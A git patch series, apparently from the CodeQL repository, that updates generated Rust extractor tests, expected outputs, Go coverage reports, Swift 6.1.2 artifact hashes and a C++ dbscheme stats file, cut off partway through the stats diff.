2e45dcf44bf2e8404b49ce9abeee4931572693174b5d96f3fd81eb40ea8e7b4b -MacroCall/gen_macro_call.rs 0bbfb1f41c627583214ab80c94a7467fdb353862634510d4d00b93c6f30ef79b 0bbfb1f41c627583214ab80c94a7467fdb353862634510d4d00b93c6f30ef79b +MacroCall/gen_macro_call.rs c30added613d9edb3cb1321ae46fc6a088a2f22d2cc979119466ec02f6e09ed6 c30added613d9edb3cb1321ae46fc6a088a2f22d2cc979119466ec02f6e09ed6 MacroDef/gen_macro_def.rs 6f895ecab8c13a73c28ce67fcee39baf7928745a80fb440811014f6d31b22378 6f895ecab8c13a73c28ce67fcee39baf7928745a80fb440811014f6d31b22378 MacroExpr/gen_macro_expr.rs 5e1748356f431eea343a2aad2798c22073151940ea2cda0f0cce78c3d96104f0 5e1748356f431eea343a2aad2798c22073151940ea2cda0f0cce78c3d96104f0 MacroItems/gen_macro_items.rs c00f8045d9a7d6562da1d0136b335b685e2ec5dbd708763faa24a752e89feda4 c00f8045d9a7d6562da1d0136b335b685e2ec5dbd708763faa24a752e89feda4 @@ -83,13 +83,13 @@ Meta/gen_meta.rs 39172a1f7dd02fa3149e7a1fc1dc1f135aa87c84057ee721cd9b373517042b2 MethodCallExpr/gen_method_call_expr.rs f2b4679eb1ec095981fe6bd656b632c22bf6bd0da133309da3f7ef5bd1ab4b5d f2b4679eb1ec095981fe6bd656b632c22bf6bd0da133309da3f7ef5bd1ab4b5d Module/gen_module.rs 815605a604fea1d9276684f8d6738a4e833eacad57ceeb27e2095fc450264fc1 815605a604fea1d9276684f8d6738a4e833eacad57ceeb27e2095fc450264fc1 Name/gen_name.rs 8a7fe65ee632a47d12eaa313e7248ac9210e5a381e9522499ca68f94c39e72c0 8a7fe65ee632a47d12eaa313e7248ac9210e5a381e9522499ca68f94c39e72c0 -NameRef/gen_name_ref.rs 74e7c112df2a764367792f51830561ee2f16777dd98098a5664869361f98c698 74e7c112df2a764367792f51830561ee2f16777dd98098a5664869361f98c698 +NameRef/gen_name_ref.rs c8c922e77a7d62b8272359ccdabbf7e15411f31ca85f15a3afdd94bec7ec64e7 c8c922e77a7d62b8272359ccdabbf7e15411f31ca85f15a3afdd94bec7ec64e7 NeverTypeRepr/gen_never_type_repr.rs cc7d1c861eaf89772109f142815839976f25f89956ed1b11822df5e7e333d6d4 cc7d1c861eaf89772109f142815839976f25f89956ed1b11822df5e7e333d6d4 OffsetOfExpr/gen_offset_of_expr.rs 8e2077b4d7b85c91c17c3630511bc4f929950e9007261cbf0471c4a064c4b934 8e2077b4d7b85c91c17c3630511bc4f929950e9007261cbf0471c4a064c4b934 OrPat/gen_or_pat.rs 71feef6e056bfe4cc8c22c9eb54fa3fecef613606769061d0efd059adbbd6f56 71feef6e056bfe4cc8c22c9eb54fa3fecef613606769061d0efd059adbbd6f56 Param/gen_param.rs 39f3979d6cb10e4c43e0b5601af2a92b7520a75a104211955bbbb5e6f13e9db9 39f3979d6cb10e4c43e0b5601af2a92b7520a75a104211955bbbb5e6f13e9db9 ParamList/gen_param_list.rs a842001c434b9716a131a77b5ec78ee5dd911ef7c42d22bf5e7bdac24c9a20bd a842001c434b9716a131a77b5ec78ee5dd911ef7c42d22bf5e7bdac24c9a20bd -ParenExpr/gen_paren_expr.rs 58f59d66e833f1baeb0a61b4e8b5dc97680daad78bd0e90627f6dbb1ed0c62e0 58f59d66e833f1baeb0a61b4e8b5dc97680daad78bd0e90627f6dbb1ed0c62e0 +ParenExpr/gen_paren_expr.rs caaf419c59d65ca911479dea7d62756a55593b3da65b02942a36abd975389f29 caaf419c59d65ca911479dea7d62756a55593b3da65b02942a36abd975389f29 ParenPat/gen_paren_pat.rs 47a0c5b6ec3e51452c2c2e6882ed98aca9891b08246ec231484df8d226985212 47a0c5b6ec3e51452c2c2e6882ed98aca9891b08246ec231484df8d226985212 ParenTypeRepr/gen_paren_type_repr.rs 28194256a3d7bdcc49283f4be5e3ad3efb0ea2996126abed2a76c6cd9954c879 28194256a3d7bdcc49283f4be5e3ad3efb0ea2996126abed2a76c6cd9954c879 ParenthesizedArgList/gen_parenthesized_arg_list.rs 161083eb292e1d70ca97b5afda8e27bc96db95678b39cb680de638ac0e49be72 161083eb292e1d70ca97b5afda8e27bc96db95678b39cb680de638ac0e49be72 @@ -115,7 +115,7 @@ SliceTypeRepr/gen_slice_type_repr.rs 4a85402d40028c5a40ef35018453a89700b2171bc62 SourceFile/gen_source_file.rs c0469cc8f0ecce3dd2e77963216d7e8808046014533359a44c1698e48783b420 c0469cc8f0ecce3dd2e77963216d7e8808046014533359a44c1698e48783b420 Static/gen_static.rs 21314018ea184c1ddcb594d67bab97ae18ceaf663d9f120f39ff755d389dde7a 21314018ea184c1ddcb594d67bab97ae18ceaf663d9f120f39ff755d389dde7a StmtList/gen_stmt_list.rs adbd82045a50e2051434ce3cdd524c9f2c6ad9f3dd02b4766fb107e2e99212db adbd82045a50e2051434ce3cdd524c9f2c6ad9f3dd02b4766fb107e2e99212db -Struct/gen_struct.rs 8de3861997dfdd525b93bf8f8a857ed3e6b4d014a35d8a9298a236f2ff476a34 8de3861997dfdd525b93bf8f8a857ed3e6b4d014a35d8a9298a236f2ff476a34 +Struct/gen_struct.rs 5e181e90075f716c04c75e4ef0334abe3d5f419cd9ccfadfe595c09fab33566b 5e181e90075f716c04c75e4ef0334abe3d5f419cd9ccfadfe595c09fab33566b StructExpr/gen_struct_expr.rs 8dd9a578625a88623c725b8afdfd8b636e1c3c991fe96c55b24d4b283d2212fb 8dd9a578625a88623c725b8afdfd8b636e1c3c991fe96c55b24d4b283d2212fb StructExprField/gen_struct_expr_field.rs 4ccca8e8ad462b4873f5604f0afdd1836027b8d39e36fbe7d6624ef3e744a084 4ccca8e8ad462b4873f5604f0afdd1836027b8d39e36fbe7d6624ef3e744a084 StructExprFieldList/gen_struct_expr_field_list.rs bc17e356690cfb1cd51f7dbe5ac88c0b9188c9bf94b9e3cc82581120190f33dc bc17e356690cfb1cd51f7dbe5ac88c0b9188c9bf94b9e3cc82581120190f33dc @@ -124,7 +124,7 @@ StructFieldList/gen_struct_field_list.rs 3c24edef6a92a1b7bb785012d1e53eb69197fb6 StructPat/gen_struct_pat.rs 3f972ff8a76acb61ef48bdea92d2fac8b1005449d746e6188fd5486b1f542e5c 3f972ff8a76acb61ef48bdea92d2fac8b1005449d746e6188fd5486b1f542e5c StructPatField/gen_struct_pat_field.rs dfdab8cef7dcfee40451744c8d2c7c4ae67fdb8bd054b894c08d62997942f364 dfdab8cef7dcfee40451744c8d2c7c4ae67fdb8bd054b894c08d62997942f364 StructPatFieldList/gen_struct_pat_field_list.rs 06c0e56c78a6b28909d94d9519ba41ac8a6005741f82b947ef14db51e8cbebd0 06c0e56c78a6b28909d94d9519ba41ac8a6005741f82b947ef14db51e8cbebd0 -TokenTree/gen_token_tree.rs 694d5ea71e00792374f771c74532abd66f0af637f87fe3203630aa7ef866a96f 694d5ea71e00792374f771c74532abd66f0af637f87fe3203630aa7ef866a96f +TokenTree/gen_token_tree.rs 3fdc9a36a1870bb2bedf66c8fe37d368f4ac18488e7118b86e3979d3957a8f94 3fdc9a36a1870bb2bedf66c8fe37d368f4ac18488e7118b86e3979d3957a8f94 Trait/gen_trait.rs bac694993e224f9c6dd86cfb28c54846ae1b3bae45a1e58d3149c884184487ea bac694993e224f9c6dd86cfb28c54846ae1b3bae45a1e58d3149c884184487ea TraitAlias/gen_trait_alias.rs 425d78a7cb87db7737ceaf713c9a62e0411537374d1bc58c5b1fb80cc25732c9 425d78a7cb87db7737ceaf713c9a62e0411537374d1bc58c5b1fb80cc25732c9 TryExpr/gen_try_expr.rs f60198181a423661f4ed1bf6f98d475f40ada190b7b5fc6af97aa5e45ca29a1e f60198181a423661f4ed1bf6f98d475f40ada190b7b5fc6af97aa5e45ca29a1e @@ -143,11 +143,11 @@ UnderscoreExpr/gen_underscore_expr.rs fe34e99d322bf86c0f5509c9b5fd6e1e8abbdf63db Union/gen_union.rs 0adc276bf324661137b4de7c4522afd5f7b2776e913c4a6ecc580ce3d753a51d 0adc276bf324661137b4de7c4522afd5f7b2776e913c4a6ecc580ce3d753a51d Use/gen_use.rs 3a8a426109080ce2a0ed5a68a83cfa195196c9f0a14eff328b7be54d1131eede 3a8a426109080ce2a0ed5a68a83cfa195196c9f0a14eff328b7be54d1131eede UseBoundGenericArgs/gen_use_bound_generic_args.rs 1da801583b77f5f064d729a1d4313a863f1ad2e1dcc11c963194839cba977367 1da801583b77f5f064d729a1d4313a863f1ad2e1dcc11c963194839cba977367 -UseTree/gen_use_tree.rs cccf4c2c9045548ffd9f58e93b46aa434c0ca0671641863e7558047097db5dee cccf4c2c9045548ffd9f58e93b46aa434c0ca0671641863e7558047097db5dee -UseTreeList/gen_use_tree_list.rs 6fc13cab53bb77475005499da717c7cd55648ba4c4d7d32c422624760ca6afc3 6fc13cab53bb77475005499da717c7cd55648ba4c4d7d32c422624760ca6afc3 +UseTree/gen_use_tree.rs 90660192ec361e96d0fee9dc03c34fcdf0a102269df33be45856c63ad5d18ff2 90660192ec361e96d0fee9dc03c34fcdf0a102269df33be45856c63ad5d18ff2 +UseTreeList/gen_use_tree_list.rs 2494aadcec03a3f7a6e2ae448ee70ec6774f840e9519c668b2afe8cd968211c9 2494aadcec03a3f7a6e2ae448ee70ec6774f840e9519c668b2afe8cd968211c9 Variant/gen_variant.rs fa3d3a9e3e0c3aa565b965fad9c3dc2ffd5a8d82963e3a55a9acbb0f14b603d6 fa3d3a9e3e0c3aa565b965fad9c3dc2ffd5a8d82963e3a55a9acbb0f14b603d6 VariantList/gen_variant_list.rs a1faa4d59b072f139d14cb8a6d63a0ce8c473170d6320a07ce6bb9d517f8486d a1faa4d59b072f139d14cb8a6d63a0ce8c473170d6320a07ce6bb9d517f8486d -Visibility/gen_visibility.rs 696f86b56e28a17ffb373170e192a76c288b0750dfa6e64fac0d8b4a77b0468c 696f86b56e28a17ffb373170e192a76c288b0750dfa6e64fac0d8b4a77b0468c +Visibility/gen_visibility.rs cfa4b05fa7ba7c4ffa8f9c880b13792735e4f7e92a648f43110e914075e97a52 cfa4b05fa7ba7c4ffa8f9c880b13792735e4f7e92a648f43110e914075e97a52 WhereClause/gen_where_clause.rs 22522c933be47f8f7f9d0caddfa41925c08df343c564baad2fe2daa14f1bfb1a 22522c933be47f8f7f9d0caddfa41925c08df343c564baad2fe2daa14f1bfb1a WherePred/gen_where_pred.rs dbc7bf0f246a04b42783f910c6f09841393f0e0a78f0a584891a99d0cf461619 dbc7bf0f246a04b42783f910c6f09841393f0e0a78f0a584891a99d0cf461619 WhileExpr/gen_while_expr.rs 97276c5946a36001638491c99a36170d22bc6011c5e59f621b37c7a2d7737879 97276c5946a36001638491c99a36170d22bc6011c5e59f621b37c7a2d7737879 diff --git a/rust/ql/test/extractor-tests/generated/ForTypeRepr/gen_for_type_repr.rs b/rust/ql/test/extractor-tests/generated/ForTypeRepr/gen_for_type_repr.rs index ccd73685feb6..49cd9e5c1abf 100644 --- a/rust/ql/test/extractor-tests/generated/ForTypeRepr/gen_for_type_repr.rs +++ b/rust/ql/test/extractor-tests/generated/ForTypeRepr/gen_for_type_repr.rs @@ -1,7 +1,7 @@ // generated by codegen, do not edit fn test_for_type_repr() -> () { - // A higher-ranked trait bound(HRTB) type. + // A higher-ranked trait bound. // // For example: fn foo(value: T) diff --git a/rust/ql/test/extractor-tests/generated/MacroCall/gen_macro_call.rs b/rust/ql/test/extractor-tests/generated/MacroCall/gen_macro_call.rs index 0de0a929a997..ababca69009f 100644 --- a/rust/ql/test/extractor-tests/generated/MacroCall/gen_macro_call.rs +++ b/rust/ql/test/extractor-tests/generated/MacroCall/gen_macro_call.rs @@ -5,5 +5,4 @@ fn test_macro_call() -> () { // // For example: println!("Hello, world!"); - //^^^^^^^ } diff --git a/rust/ql/test/extractor-tests/generated/NameRef/gen_name_ref.rs b/rust/ql/test/extractor-tests/generated/NameRef/gen_name_ref.rs index 62790540dc90..99f7e6a80e55 100644 --- a/rust/ql/test/extractor-tests/generated/NameRef/gen_name_ref.rs +++ b/rust/ql/test/extractor-tests/generated/NameRef/gen_name_ref.rs @@ -4,6 +4,6 @@ fn test_name_ref() -> () { // A reference to a name. // // For example: - foo(); + foo(); //^^^ } diff --git a/rust/ql/test/extractor-tests/generated/ParenExpr/gen_paren_expr.rs b/rust/ql/test/extractor-tests/generated/ParenExpr/gen_paren_expr.rs index ba9f71314bb1..292053784d80 100644 --- a/rust/ql/test/extractor-tests/generated/ParenExpr/gen_paren_expr.rs +++ b/rust/ql/test/extractor-tests/generated/ParenExpr/gen_paren_expr.rs @@ -5,5 +5,4 @@ fn test_paren_expr() -> () { // // For example: (x + y) - //^^^^^ } diff --git a/rust/ql/test/extractor-tests/generated/Struct/gen_struct.rs b/rust/ql/test/extractor-tests/generated/Struct/gen_struct.rs index 4314b4a4759a..253a554e3f9b 100644 --- a/rust/ql/test/extractor-tests/generated/Struct/gen_struct.rs +++ b/rust/ql/test/extractor-tests/generated/Struct/gen_struct.rs @@ -3,7 +3,7 @@ fn test_struct() -> () { // A Struct. For example: struct Point { - x: i32, + x: i32, y: i32, } } diff --git a/rust/ql/test/extractor-tests/generated/TokenTree/gen_token_tree.rs b/rust/ql/test/extractor-tests/generated/TokenTree/gen_token_tree.rs index 1c553ba41f14..be742ecc27db 100644 --- a/rust/ql/test/extractor-tests/generated/TokenTree/gen_token_tree.rs +++ b/rust/ql/test/extractor-tests/generated/TokenTree/gen_token_tree.rs @@ -7,5 +7,5 @@ fn test_token_tree() -> () { println!("{} {}!", "Hello", "world"); // ^^^^^^^^^^^^^^^^^^^^^^^^^^^^ macro_rules! foo { ($x:expr) => { $x + 1 }; } - // ^^^^^^^^^^^^^^^^^^^^^^^ + // ^^^^^^^^^^^^^^^^^^^^^^^^^^^^ } diff --git a/rust/ql/test/extractor-tests/generated/UseTree/gen_use_tree.rs b/rust/ql/test/extractor-tests/generated/UseTree/gen_use_tree.rs index 176990c139a6..2acaed7e4267 100644 --- a/rust/ql/test/extractor-tests/generated/UseTree/gen_use_tree.rs +++ b/rust/ql/test/extractor-tests/generated/UseTree/gen_use_tree.rs @@ -1,7 +1,7 @@ // generated by codegen, do not edit fn test_use_tree() -> () { - // A `use` tree, ie the part after the `use` keyword in a `use` statement. For example: + // A `use` tree, that is, the part after the `use` keyword in a `use` statement. For example: use std::collections::HashMap; use std::collections::*; use std::collections::HashMap as MyHashMap; diff --git a/rust/ql/test/extractor-tests/generated/UseTreeList/gen_use_tree_list.rs b/rust/ql/test/extractor-tests/generated/UseTreeList/gen_use_tree_list.rs index 63eba516c3f3..f0516ba22742 100644 --- a/rust/ql/test/extractor-tests/generated/UseTreeList/gen_use_tree_list.rs +++ b/rust/ql/test/extractor-tests/generated/UseTreeList/gen_use_tree_list.rs @@ -5,5 +5,5 @@ fn test_use_tree_list() -> () { // // For example: use std::{fs, io}; - // ^^^^^^^ + // ^^^^^^^^ } diff --git a/rust/ql/test/extractor-tests/generated/Visibility/gen_visibility.rs b/rust/ql/test/extractor-tests/generated/Visibility/gen_visibility.rs index 7d8f0a81e262..6f2292f23599 100644 --- a/rust/ql/test/extractor-tests/generated/Visibility/gen_visibility.rs +++ b/rust/ql/test/extractor-tests/generated/Visibility/gen_visibility.rs @@ -4,6 +4,6 @@ fn test_visibility() -> () { // A visibility modifier. // // For example: - pub struct S; + pub struct S; //^^^ } From 39851bcab43b1b0206d646d88240af2bb8cac7b8 Mon Sep 17 00:00:00 2001 From: Arthur Baars Date: Wed, 4 Jun 2025 11:13:19 +0200 Subject: [PATCH 524/535] Rust: update expected output --- rust/ql/test/extractor-tests/generated/NameRef/NameRef.expected | 2 +- .../extractor-tests/generated/NameRef/NameRef_getText.expected | 2 +- .../extractor-tests/generated/Visibility/Visibility.expected | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) diff --git a/rust/ql/test/extractor-tests/generated/NameRef/NameRef.expected b/rust/ql/test/extractor-tests/generated/NameRef/NameRef.expected index c53970b943b4..a73f8a029455 100644 --- a/rust/ql/test/extractor-tests/generated/NameRef/NameRef.expected +++ b/rust/ql/test/extractor-tests/generated/NameRef/NameRef.expected @@ -1 +1 @@ -| gen_name_ref.rs:7:5:7:7 | foo | hasText: | yes | +| gen_name_ref.rs:7:7:7:9 | foo | hasText: | yes | diff --git a/rust/ql/test/extractor-tests/generated/NameRef/NameRef_getText.expected b/rust/ql/test/extractor-tests/generated/NameRef/NameRef_getText.expected index 651b70330b38..1b98842e5ec8 100644 --- a/rust/ql/test/extractor-tests/generated/NameRef/NameRef_getText.expected +++ b/rust/ql/test/extractor-tests/generated/NameRef/NameRef_getText.expected @@ -1 +1 @@ -| gen_name_ref.rs:7:5:7:7 | foo | foo | +| gen_name_ref.rs:7:7:7:9 | foo | foo | diff --git a/rust/ql/test/extractor-tests/generated/Visibility/Visibility.expected b/rust/ql/test/extractor-tests/generated/Visibility/Visibility.expected index ce221742c76a..7be919b547e7 100644 --- a/rust/ql/test/extractor-tests/generated/Visibility/Visibility.expected +++ b/rust/ql/test/extractor-tests/generated/Visibility/Visibility.expected @@ -1 +1 @@ -| gen_visibility.rs:7:5:7:7 | Visibility | hasPath: | no | +| gen_visibility.rs:7:7:7:9 | Visibility | hasPath: | no | From 149c53bef66fd9b592692801bbc7524cbe52d296 Mon Sep 17 00:00:00 2001 From: idrissrio Date: Tue, 20 May 2025 09:08:59 +0200 Subject: [PATCH 525/535] C++: accept new test results after changes --- .../library-tests/syntax-zoo/dataflow-consistency.expected | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/cpp/ql/test/library-tests/syntax-zoo/dataflow-consistency.expected b/cpp/ql/test/library-tests/syntax-zoo/dataflow-consistency.expected index 064c4e01e2bc..b516aa0ce875 100644 --- a/cpp/ql/test/library-tests/syntax-zoo/dataflow-consistency.expected +++ b/cpp/ql/test/library-tests/syntax-zoo/dataflow-consistency.expected @@ -1,4 +1,10 @@ uniqueEnclosingCallable +| builtin.c:14:3:14:16 | ... * ... | Node should have one enclosing callable but has 0. | +| builtin.c:14:3:14:16 | sizeof(int) | Node should have one enclosing callable but has 0. | +| builtin.c:14:10:14:10 | 4 | Node should have one enclosing callable but has 0. | +| builtin.c:15:3:15:16 | ... * ... | Node should have one enclosing callable but has 0. | +| builtin.c:15:3:15:16 | sizeof(int) | Node should have one enclosing callable but has 0. | +| builtin.c:15:10:15:10 | 4 | Node should have one enclosing callable but has 0. | | enum.c:2:6:2:6 | 1 | Node should have one enclosing callable but has 0. | | enum.c:2:6:2:10 | ... + ... | Node should have one enclosing callable but has 0. | | enum.c:2:10:2:10 | 1 | Node should have one enclosing callable but has 0. | From 401911e1858c74480b52dc6676672e30ea98b83d Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" <41898282+github-actions[bot]@users.noreply.github.com> Date: Thu, 5 Jun 2025 00:24:03 +0000 Subject: [PATCH 526/535] Add changed framework coverage reports --- go/documentation/library-coverage/coverage.csv | 1 + go/documentation/library-coverage/coverage.rst | 6 +++--- 2 files changed, 4 insertions(+), 3 deletions(-) diff --git a/go/documentation/library-coverage/coverage.csv b/go/documentation/library-coverage/coverage.csv index 2aed94d84a50..2826d79047d0 100644 --- a/go/documentation/library-coverage/coverage.csv +++ b/go/documentation/library-coverage/coverage.csv @@ -5,6 +5,7 @@ archive/zip,,,6,,,,,,,,,,,,,,,,,,,,,,,6, bufio,,,17,,,,,,,,,,,,,,,,,,,,,,,17, bytes,,,43,,,,,,,,,,,,,,,,,,,,,,,43, clevergo.tech/clevergo,1,,,,,,,,,,,,,,,,,1,,,,,,,,, +cloud.google.com/go/bigquery,1,,,,,,,,,,,,,,1,,,,,,,,,,,, compress/bzip2,,,1,,,,,,,,,,,,,,,,,,,,,,,1, compress/flate,,,4,,,,,,,,,,,,,,,,,,,,,,,4, compress/gzip,,,3,,,,,,,,,,,,,,,,,,,,,,,3, diff --git a/go/documentation/library-coverage/coverage.rst b/go/documentation/library-coverage/coverage.rst index cad7baeb70f8..b54a425300f5 100644 --- a/go/documentation/library-coverage/coverage.rst +++ b/go/documentation/library-coverage/coverage.rst @@ -37,6 +37,7 @@ Go framework & library support `XPath `_,``github.com/antchfx/xpath*``,,,4 `appleboy/gin-jwt `_,``github.com/appleboy/gin-jwt*``,,,1 `beego `_,"``github.com/astaxie/beego*``, ``github.com/beego/beego*``",102,63,213 + `bigquery `_,``cloud.google.com/go/bigquery*``,,,1 `chi `_,``github.com/go-chi/chi*``,3,, `cristalhq/jwt `_,``github.com/cristalhq/jwt*``,,,1 `env `_,``github.com/caarlos0/env*``,5,2, @@ -53,7 +54,7 @@ Go framework & library support `goproxy `_,``github.com/elazarl/goproxy*``,2,2,2 `gorilla/mux `_,``github.com/gorilla/mux*``,1,, `gorilla/websocket `_,``github.com/gorilla/websocket*``,3,, - `gorqlite `_,"``github.com/raindog308/gorqlite*``, ``github.com/rqlite/gorqlite*``",16,4,48 + `gorqlite `_,"``github.com/raindog308/gorqlite*``, ``github.com/rqlite/gorqlite*``, ``github.com/kanikanema/gorqlite*``",24,6,72 `goxpath `_,``github.com/ChrisTrenkamp/goxpath*``,,,3 `htmlquery `_,``github.com/antchfx/htmlquery*``,,,4 `json-iterator `_,``github.com/json-iterator/go*``,,4, @@ -73,6 +74,5 @@ Go framework & library support `xpathparser `_,``github.com/santhosh-tekuri/xpathparser*``,,,2 `yaml `_,``gopkg.in/yaml*``,,9, `zap `_,``go.uber.org/zap*``,,11,33 - Others,``github.com/kanikanema/gorqlite``,8,2,24 - Totals,,688,1069,1556 + Totals,,688,1069,1557 From 338d3834c4beaaf04c3b62c10bf37867f287fbc4 Mon Sep 17 00:00:00 2001 From: Chris Smowton Date: Thu, 5 Jun 2025 10:21:24 +0100 Subject: [PATCH 527/535] Actions: Make `Env` non-abstract `class Env` was previously abstract with no concrete descendants, so user queries like `any(Env e | ...)` would never produce results. In the JS library the corresponding class derived from `YamlNode` and has concrete descendants representing workflow-, job- and step-level `env` nodes. However these are dubiously useful since you can always just use `any(Step s).getEnv()` to achieve the same result. Since `EnvImpl` already fully characterises an `env` node, I simply make the class concrete. --- actions/ql/lib/codeql/actions/Ast.qll | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/actions/ql/lib/codeql/actions/Ast.qll b/actions/ql/lib/codeql/actions/Ast.qll index 8c1925f3288c..ae19a7a7e8ca 100644 --- a/actions/ql/lib/codeql/actions/Ast.qll +++ b/actions/ql/lib/codeql/actions/Ast.qll @@ -50,8 +50,8 @@ class Expression extends AstNode instanceof ExpressionImpl { string getNormalizedExpression() { result = normalizeExpr(expression) } } -/** A common class for `env` in workflow, job or step. */ -abstract class Env extends AstNode instanceof EnvImpl { +/** An `env` in workflow, job or step. */ +class Env extends AstNode instanceof EnvImpl { /** Gets an environment variable value given its name. */ ScalarValueImpl getEnvVarValue(string name) { result = super.getEnvVarValue(name) } From 3f89dd3c4e20a76f5feed7fdec2dd0ee52498ac4 Mon Sep 17 00:00:00 2001 From: Jeroen Ketema Date: Thu, 5 Jun 2025 14:16:18 +0200 Subject: [PATCH 528/535] Swift: Update to Swift 6.1.2 --- swift/ql/lib/change-notes/2025-06-05-swift.6.1.2.md | 5 +++++ swift/third_party/load.bzl | 4 ++++ 2 files changed, 9 insertions(+) create mode 100644 swift/ql/lib/change-notes/2025-06-05-swift.6.1.2.md diff --git a/swift/ql/lib/change-notes/2025-06-05-swift.6.1.2.md b/swift/ql/lib/change-notes/2025-06-05-swift.6.1.2.md new file mode 100644 index 000000000000..448b8210756b --- /dev/null +++ b/swift/ql/lib/change-notes/2025-06-05-swift.6.1.2.md @@ -0,0 +1,5 @@ + +--- +category: minorAnalysis +--- +* Updated to allow analysis of Swift 6.1.2. diff --git a/swift/third_party/load.bzl b/swift/third_party/load.bzl index d19345a18803..a61e1ebd2896 100644 --- a/swift/third_party/load.bzl +++ b/swift/third_party/load.bzl @@ -5,6 +5,10 @@ load("//misc/bazel:lfs.bzl", "lfs_archive", "lfs_files") _override = { # these are used to test new artifacts. Must be empty before merging to main + "swift-prebuilt-macOS-swift-6.1.2-RELEASE-109.tar.zst": "417c018d9aea00f9e33b26a3853ae540388276e6e4d02ef81955b2794b3a6152", + "swift-prebuilt-Linux-swift-6.1.2-RELEASE-109.tar.zst": "abc83ba5ca0c7009714593c3c875f29510597e470bac0722b3357a78880feee4", + "resource-dir-macOS-swift-6.1.2-RELEASE-116.zip": "9a22d9a4563ea0ad0b5051a997850d425d61ba5219ac35e9994d9a2f40a82f42", + "resource-dir-Linux-swift-6.1.2-RELEASE-116.zip": "f6c681b4e1d92ad848d35bf75c41d3e33474d45ce5f270cd814d879ca8fe8511", } _staging_url = "https://github.com/dsp-testing/codeql-swift-artifacts/releases/download/staging-{}/{}" From 5b5d85580899c8c2dee93144817461733f99b7d9 Mon Sep 17 00:00:00 2001 From: Jeroen Ketema Date: Thu, 5 Jun 2025 14:47:10 +0200 Subject: [PATCH 529/535] Swift: Remove empty line from change note --- swift/ql/lib/change-notes/2025-06-05-swift.6.1.2.md | 1 - 1 file changed, 1 deletion(-) diff --git a/swift/ql/lib/change-notes/2025-06-05-swift.6.1.2.md b/swift/ql/lib/change-notes/2025-06-05-swift.6.1.2.md index 448b8210756b..60adc9e1cfce 100644 --- a/swift/ql/lib/change-notes/2025-06-05-swift.6.1.2.md +++ b/swift/ql/lib/change-notes/2025-06-05-swift.6.1.2.md @@ -1,4 +1,3 @@ - --- category: minorAnalysis --- From 057d3ebfdf4ed1e900e9c8125e95294e1f0837a5 Mon Sep 17 00:00:00 2001 From: Jeroen Ketema Date: Thu, 5 Jun 2025 15:57:55 +0200 Subject: [PATCH 530/535] C++: Update stats file after changes to DCA source suite --- cpp/ql/lib/semmlecode.cpp.dbscheme.stats | 10767 ++++++++++----------- 1 file changed, 5316 insertions(+), 5451 deletions(-) diff --git a/cpp/ql/lib/semmlecode.cpp.dbscheme.stats b/cpp/ql/lib/semmlecode.cpp.dbscheme.stats index 201725ec5d17..bca58ed2f5b1 100644 --- a/cpp/ql/lib/semmlecode.cpp.dbscheme.stats +++ b/cpp/ql/lib/semmlecode.cpp.dbscheme.stats @@ -2,7 +2,7 @@ @compilation - 16209 + 16142 @externalDataElement @@ -18,63 +18,63 @@ @location_default - 31651328 + 36226754 @location_stmt - 5201796 + 5202209 @location_expr - 17955097 + 17956521 @diagnostic - 1590 + 1588 @file - 83605 + 83260 @folder - 15884 + 15818 @macro_expansion - 40282895 + 40121869 @other_macro_reference - 313754 + 312756 @function - 3352272 + 4015439 @fun_decl - 3384193 + 4154519 @var_decl - 6734162 + 9247204 @type_decl - 1889998 + 1882105 @namespace_decl - 425663 + 430914 @using_declaration - 333109 + 341862 @using_directive - 8151 + 8125 @using_enum_declaration @@ -82,323 +82,323 @@ @static_assert - 183988 + 183493 @parameter - 4792289 + 6965639 @membervariable - 1441877 + 1489139 @globalvariable - 425545 + 466518 @localvariable - 735182 + 734804 @enumconstant - 330375 + 343781 @errortype - 134 + 125 @unknowntype - 134 + 125 @void - 134 + 125 @boolean - 134 + 125 @char - 134 + 125 @unsigned_char - 134 + 125 @signed_char - 134 + 125 @short - 134 + 125 @unsigned_short - 134 + 125 @signed_short - 134 + 125 @int - 134 + 125 @unsigned_int - 134 + 125 @signed_int - 134 + 125 @long - 134 + 125 @unsigned_long - 134 + 125 @signed_long - 134 + 125 @long_long - 134 + 125 @unsigned_long_long - 134 + 125 @signed_long_long - 134 + 125 @float - 134 + 125 @double - 134 + 125 @long_double - 134 + 125 @complex_float - 134 + 125 @complex_double - 134 + 125 @complex_long_double - 134 + 125 @imaginary_float - 134 + 125 @imaginary_double - 134 + 125 @imaginary_long_double - 134 + 125 @wchar_t - 134 + 125 @decltype_nullptr - 134 + 125 @int128 - 134 + 125 @unsigned_int128 - 134 + 125 @signed_int128 - 134 + 125 @float128 - 134 + 125 @complex_float128 - 134 + 125 @decimal32 - 134 + 125 @decimal64 - 134 + 125 @decimal128 - 134 + 125 @char16_t - 134 + 125 @char32_t - 134 + 125 @std_float32 - 134 + 125 @float32x - 134 + 125 @std_float64 - 134 + 125 @float64x - 134 + 125 @std_float128 - 134 + 125 @char8_t - 134 + 125 @float16 - 134 + 125 @complex_float16 - 134 + 125 @fp16 - 134 + 125 @std_bfloat16 - 134 + 125 @std_float16 - 134 + 125 @complex_std_float32 - 134 + 125 @complex_float32x - 134 + 125 @complex_std_float64 - 134 + 125 @complex_float64x - 134 + 125 @complex_std_float128 - 134 + 125 @pointer - 472813 + 470652 @type_with_specifiers - 725904 + 696526 @array - 95666 + 98431 @routineptr - 861504 + 858764 @reference - 1024877 + 970559 @gnu_vector - 866 + 863 @routinereference - 471 + 470 @rvalue_reference - 292111 + 291793 @block 10 - @type_operator - 8530 + @decltype + 102057 - @decltype - 102046 + @type_operator + 8519 @usertype - 4985429 + 4962767 @mangledname - 5807372 + 6329773 @type_mention - 5508026 + 5812069 @concept_template - 3873 + 3868 @routinetype - 761024 + 758603 @ptrtomember - 12079 + 12029 @specifier - 8342 + 7754 @gnuattribute @@ -406,11 +406,11 @@ @stdattribute - 346335 + 350577 @declspec - 326934 + 328789 @msattribute @@ -418,19 +418,19 @@ @alignas - 2194 + 2192 @attribute_arg_token - 21022 + 20955 @attribute_arg_constant_expr - 89401 + 88857 @attribute_arg_expr - 1801 + 1793 @attribute_arg_empty @@ -446,35 +446,35 @@ @derivation - 599063 + 597157 @frienddecl - 881497 + 879292 @comment - 11290475 + 11233849 @namespace - 11090 + 11044 @specialnamequalifyingelement - 134 + 125 @namequalifier - 3257060 + 3254040 @value - 13198553 + 13436143 @initialiser - 2336741 + 2338659 @address_of @@ -482,131 